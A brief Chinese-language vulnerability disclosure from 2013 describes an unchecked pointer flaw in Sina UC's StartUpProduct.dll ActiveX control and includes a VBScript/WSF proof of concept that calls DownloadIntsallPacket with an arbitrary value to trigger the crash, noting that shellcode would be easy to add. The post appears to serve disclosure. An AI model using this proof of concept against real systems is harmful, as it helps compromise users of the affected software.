新浪UC StartUpProduct.dll任意指针引用

浏览： ℃

字体：大中小

发布时间：2013-12-12 14:50:59

来源：

StartUpProduct.dll是一个activex，其中的几个函数都有问题，未对指针进行有效性判断,见图

ESI是传入参数，任意传入一个指针即覆盖.

winxp下测试

<?XML version='1.0' standalone='yes' ?><package><job id='DoneInVBS' debug='false' error='true'><object classid='clsid:43D36B68-DB27-4250-A584-F5F5A381C3FE' id='target' /><script language='vbscript'>targetFile = "C:/Program Files/Sina/SinaUC/StartUpProduct.dll"prototype  = "Sub DownloadIntsallPacket ( ByVal lpData As Long )"memberName = "DownloadIntsallPacket"progid     = "StartUpProductLib.StartProduct"argCount   = 1arg1=9target.DownloadIntsallPacket arg1 </script></job></package>

这里传入的是9，所以就如下图，当然shellcode也很简单了，主要是漏洞比较鸡助。